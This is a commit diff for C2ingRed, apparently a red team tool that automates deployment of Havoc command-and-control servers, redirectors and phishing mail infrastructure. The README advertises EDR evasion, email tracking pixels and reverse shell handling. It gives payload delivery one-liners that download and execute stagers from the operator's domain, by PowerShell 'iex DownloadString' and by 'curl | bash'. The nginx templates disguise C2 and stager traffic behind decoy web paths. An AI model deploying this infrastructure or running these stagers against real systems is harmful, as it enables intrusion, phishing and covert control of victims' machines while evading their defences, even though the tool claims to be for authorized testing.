purging sliver

README.md

@@ -0,0 +1,208 @@
+# C2ingRed
+
+A comprehensive automated deployment system for Havoc C2 red team infrastructure.
+
+## Overview
+
+C2ingRed enables rapid deployment of fully configured Command and Control (C2) infrastructure with advanced security features. The tool uses Infrastructure as Code principles to set up Havoc C2 servers and redirectors with security hardening, EDR evasion capabilities, and operational security features in mind.
+
+## Features
+
+- **Fully Automated Deployment**: Deploy complete C2 infrastructure with a single command
+- **Multi-provider Support**: AWS, Linode, and FlokiNET support
+- **Havoc C2 Framework**: Pre-configured with the latest Havoc C2 (dev branch)
+- **Security Hardening**: OPSEC-focused configurations, zero-logging, and secure memory handling
+- **Redirector Support**: Separate frontend redirectors to obscure C2 traffic
+- **EDR Evasion**: Pre-configured techniques for bypassing EDR solutions
+- **Email Infrastructure**: Integrated mail server with DKIM/DMARC for phishing operations
+- **Email Tracking**: Optional integrated email tracking server
+- **Shell Handler**: Automatic reverse shell handling and payload delivery
+- **Port Randomization**: Configurable port randomization for OPSEC considerations
+- **Interactive Mode**: Wizard-style deployment for beginners
+
+## Requirements
+
+- Python 3.6+
+- Ansible 2.9+
+- Provider-specific CLI tools:
+  - AWS: `awscli`
+  - Linode: `linode-cli`
+- SSH keypair for server access
+
+## Installation
+
+1. Clone the repository:
+```bash
+git clone https://github.com/yourusername/C2ingRed.git
+cd C2ingRed
+```
+
+2. Install requirements:
+```bash
+pip install -r requirements.txt
+```
+
+3. Configure your provider credentials:
+   - AWS: Configure using `aws configure` or provide credentials via arguments
+   - Linode: Set up an API token in your Linode account
+
+## Deployment
+
+### Interactive Mode
+
+The easiest way to deploy is using interactive mode:
+
+```bash
+./deploy.py --interactive
+```
+
+This will guide you through the deployment process step by step.
+
+### Command-line Deployment
+
+For Linode deployment:
+```bash
+./deploy.py --provider linode --linode-token YOUR_TOKEN --domain your-domain.com --linode-region us-east
+```
+
+For AWS deployment:
+```bash
+./deploy.py --provider aws --aws-key YOUR_KEY --aws-secret YOUR_SECRET --domain your-domain.com --aws-region us-east-1
+```
+
+For FlokiNET deployment (with pre-provisioned servers):
+```bash
+./deploy.py --provider flokinet --flokinet-redirector-ip YOUR_REDIRECTOR_IP --flokinet-c2-ip YOUR_C2_IP --domain your-domain.com
+```
+
+### Additional Options
+
+- `--redirector-only`: Deploy only the redirector
+- `--c2-only`: Deploy only the C2 server
+- `--deploy-tracker`: Deploy phishing email tracking server
+- `--teardown`: Clean up existing infrastructure
+- `--disable-history`: Disable command history on servers
+- `--secure-memory`: Enable secure memory settings
+- `--zero-logs`: Enable zero-logs configuration
+- `--ssh-after-deploy`: SSH into the instance after deployment
+
+## Post-Deployment
+
+After deployment:
+
+1. Configure DNS records for your domain:
+   - Set A record for `your-domain.com` pointing to your C2 server
+   - Set A record for `cdn.your-domain.com` (or your configured subdomain) pointing to your redirector
+   - Set A record for `mail.your-domain.com` pointing to your C2 server
+   
+2. Run the post-install script on your C2 server:
+   ```bash
+   /root/Tools/post_install_c2.sh
+   ```
+   
+3. Run the post-install script on your redirector:
+   ```bash
+   /root/Tools/post_install_redirector.sh
+   ```
+
+## Using Havoc C2
+
+Havoc C2 Framework is installed at `/root/Tools/havoc` on the C2 server.
+
+### Connecting to the Teamserver
+
+From your local machine:
+
+1. Install the Havoc client (dev branch):
+   ```bash
+   git clone -b dev https://github.com/HavocFramework/Havoc.git
+   cd Havoc/Client
+   mkdir build && cd build
+   cmake -GNinja ..
+   ninja
+   ```
+
+2. Connect to the Teamserver:
+   ```bash
+   ./havoc client --address YOUR_C2_IP:40056 --username admin --password [password]
+   ```
+   (The password is stored in `/root/Tools/havoc/data/profiles/default.yaotl`)
+
+### Generating Payloads
+
+Pre-generated payloads are available in `/root/Tools/havoc/payloads/`. You can create new payloads using:
+
+```bash
+cd /root/Tools
+./generate_havoc_payloads.sh
+```
+
+### Delivery Commands
+
+PowerShell one-liner for Windows targets:
+```powershell
+powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://cdn.your-domain.com/windows_stager.ps1')"
+```
+
+Linux one-liner:
+```bash
+curl -s https://cdn.your-domain.com/linux_stager.sh | bash
+```
+
+## Security Features
+
+### EDR Evasion
+
+The built-in Havoc payloads include:
+- Sleep masking
+- Stack spoofing
+- AMSI/ETW patching
+- Indirect syscalls
+- Binary signature randomization
+
+### OPSEC Features
+
+- Zero-logs configuration
+- Secure memory handling
+- Automatic log cleaning
+- Secure exit scripts
+
+## Email Tracking
+
+If deployed with `--deploy-tracker` or `--integrated-tracker`, the C2 server includes an email tracking system accessible at `track.your-domain.com`.
+
+To track email opens, add this HTML to your emails:
+```html
+<img src="https://cdn.your-domain.com/px/YOUR_TRACKING_ID.png" height="1" width="1" />
+```
+
+## Troubleshooting
+
+Common issues:
+
+1. **SSH Connection Failures**:
+   - Check that port 22 is open on your firewall/security group
+   - Verify SSH key permissions (should be 600)
+   
+2. **DNS Issues**:
+   - Confirm that your DNS records are properly configured
+   - Allow time for DNS propagation (up to 24-48 hours for some providers)
+
+3. **C2 Communication Problems**:
+   - Verify redirector configuration
+   - Check that all required ports are open
+   - Review NGINX configuration for proper redirection
+
+## Cleaning Up
+
+To remove all infrastructure when done:
+
+```bash
+./deploy.py --provider PROVIDER --teardown
+```
+
+Add your provider-specific arguments to identify the resources to remove.
+
+## Disclaimer
+
+This tool is intended for authorized red team operations, penetration testing, and security research only. Always obtain proper authorization before conducting security testing.

files/post_install_c2.sh

@@ -94,11 +94,11 @@ start_services() {
     echo -e "\n${BLUE}Starting required services${NC}"
     
     # Restart Sliver
-    systemctl restart sliver
+    systemctl restart havoc
     if [ $? -eq 0 ]; then
-        echo -e "${GREEN}Sliver C2 started successfully${NC}"
+        echo -e "${GREEN}Havoc C2 started successfully${NC}"
     else
-        echo -e "${RED}Failed to start Sliver C2${NC}"
+        echo -e "${RED}Failed to start Havoc C2${NC}"
     fi
     
     # Start nginx

tasks/configure_redirector.yml

@@ -76,7 +76,7 @@
 
 - name: Copy shell handler script
   copy:
-    src: "../files/persistent-listener.sh"
+    src: "../files/havoc_shell_handler.sh"
     dest: /root/Tools/shell-handler/persistent-listener.sh
     mode: '0700'
     owner: root

tasks/install_tools.yml

@@ -120,15 +120,6 @@
     dest: "{{ tools_dir }}/Inveigh"
   ignore_errors: yes
 
-- name: Install Sliver C2 server
-  shell: |
-    curl https://sliver.sh/install | bash
-    systemctl enable sliver
-    systemctl start sliver
-  args:
-    executable: /bin/bash
-  ignore_errors: yes
-
 - name: Install Metasploit Framework (Nightly Build)
   shell: |
     curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /tmp/msfinstall

tasks/port_randomization.yml

@@ -61,6 +61,6 @@
     name: "{{ item }}"
     state: restarted
   with_items:
-    - sliver
+    - havoc
     - shell-handler
   when: randomize_ports | default(true) | bool and port_config_result.rc == 0

templates/motd-aws.j2

@@ -37,7 +37,7 @@ Custom Tools Installed in ~/Tools:
 Other Installed C2 Frameworks:
 ------------------------------
 - Metasploit Framework: system installed (run 'msfconsole')
-- Sliver C2: system installed (run 'sliver')
+- Havoc C2: installed in /root/Tools/havoc
 
 Security Scripts in /root/Tools/:
 -----------------------------

templates/motd-linode.j2

@@ -29,7 +29,7 @@ Custom Tools Installed in ~/Tools:
 Other Installed C2 Frameworks:
 ------------------------------
 - Metasploit Framework: system installed (run 'msfconsole')
-- Sliver C2: system installed (run 'sliver')
+- Havoc C2: installed in /root/Tools/havoc
 
 Also, remember that many reconnaissance and attack tools are now available system-wide due to the apt and pipx installations.
 

templates/motd.j2

@@ -29,7 +29,7 @@ Custom Tools Installed in ~/Tools:
 Other Installed C2 Frameworks:
 ------------------------------
 - Metasploit Framework: system installed (run 'msfconsole')
-- Sliver C2: system installed (run 'sliver')
+- Havoc C2: installed in /root/Tools/havoc
 
 Also, remember that many reconnaissance and attack tools are now available system-wide due to the apt and pipx installations.
 

templates/proxychains.conf.j2

@@ -49,9 +49,10 @@ socks5 	127.0.0.1	9050
 -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
 -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
 
-# Allow Sliver C2 ports
+# Allow Havoc C2 ports
--A INPUT -p tcp -m state --state NEW -m tcp --dport 8888 -j ACCEPT
+-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ havoc_http_port | default(8080) }} -j ACCEPT
--A INPUT -p tcp -m state --state NEW -m tcp --dport 31337 -j ACCEPT
+-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ havoc_https_port | default(443) }} -j ACCEPT
+-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ havoc_teamserver_port | default(40056) }} -j ACCEPT
 
 # Allow shell handler port
 {% if shell_handler_port is defined %}

templates/redirector-site-with-tracker.conf.j2

@@ -15,6 +15,11 @@ server {
     # SSL Configuration
     ssl_certificate /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem;
     ssl_certificate_key /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/privkey.pem;
+    ssl_protocols TLSv1.2 TLSv1.3;
+    ssl_prefer_server_ciphers on;
+    ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
+    ssl_session_timeout 1d;
+    ssl_session_cache shared:SSL:10m;
     
     # Root directory
     root /var/www/html;
@@ -25,12 +30,9 @@ server {
         try_files $uri $uri/ =404;
     }
     
-    # Special URI patterns for C2 traffic
+    # Havoc C2 HTTP listener paths (replacing Sliver /ajax/ paths)
-    # These will redirect to the actual C2 server
+    location ~ ^/api/v[12]/ {
-    
+        proxy_pass http://{{ c2_ip }}:{{ havoc_http_port | default(8080) }};
-    # Sliver HTTP C2 channel
-    location /ajax/ {
-        proxy_pass http://{{ c2_ip }}:8888;
         proxy_http_version 1.1;
         proxy_set_header Host $host;
         proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
@@ -39,9 +41,39 @@ server {
         proxy_set_header Connection "upgrade";
     }
     
-    # Static resources that actually redirect to C2
+    # Havoc C2 dashboard and content paths
+    location ~ ^/(dashboard|content)/ {
+        proxy_pass https://{{ c2_ip }}:{{ havoc_https_port | default(443) }};
+        proxy_http_version 1.1;
+        proxy_set_header Host $host;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Real-IP $remote_addr;
+        proxy_set_header Upgrade $http_upgrade;
+        proxy_set_header Connection "upgrade";
+        proxy_ssl_verify off;
+    }
+    
+    # Havoc static resources path (replacing Sliver /static/ path)
     location ~ ^/static/(css|js|images)/.*\.(css|js|png|jpg|jpeg|gif|ico)$ {
-        proxy_pass http://{{ c2_ip }}:8888;
+        proxy_pass http://{{ c2_ip }}:{{ havoc_http_port | default(8080) }};
+        proxy_http_version 1.1;
+        proxy_set_header Host $host;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Real-IP $remote_addr;
+    }
+    
+    # Payload stager paths for Havoc
+    location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
+        proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
+        proxy_http_version 1.1;
+        proxy_set_header Host $host;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Real-IP $remote_addr;
+    }
+
+    # Payload content paths for Havoc
+    location ~ ^/content/(windows|linux)/(.+)$ {
+        proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
         proxy_http_version 1.1;
         proxy_set_header Host $host;
         proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
@@ -70,7 +102,7 @@ server {
     }
     {% endif %}
 
-    # Additional security headers
+    # Security headers
     add_header X-Content-Type-Options "nosniff" always;
     add_header X-Frame-Options "SAMEORIGIN" always;
     add_header X-XSS-Protection "1; mode=block" always;

templates/redirector-site.conf.j2

@@ -94,6 +94,27 @@ server {
     {% endif %}
 }
 
+# TCP stream configuration for Havoc C2
+stream {
+    # TCP forwarding for Havoc Teamserver
+    server {
+        listen {{ havoc_teamserver_port | default(40056) }};
+        proxy_pass {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }};
+    }
+    
+    # Additional Havoc ports
+    server {
+        listen {{ havoc_http_port | default(8080) }};
+        proxy_pass {{ c2_ip }}:{{ havoc_http_port | default(8080) }};
+    }
+    
+    # HTTPS for Havoc
+    server {
+        listen {{ havoc_https_port | default(443) }};
+        proxy_pass {{ c2_ip }}:{{ havoc_https_port | default(443) }};
+    }
+}
+
 # Catch-all server block to respond to unknown hosts
 server {
     listen 80 default_server;

templates/shell-handler.service.j2

@@ -22,6 +22,7 @@ StandardError=null
 # Environment variables
 Environment="C2_HOST={{ c2_ip }}"
 Environment="LISTEN_PORT={{ shell_handler_port }}"
+Environment="HAVOC_PORT={{ havoc_teamserver_port | default(40056) }}"
 
 [Install]
 WantedBy=multi-user.target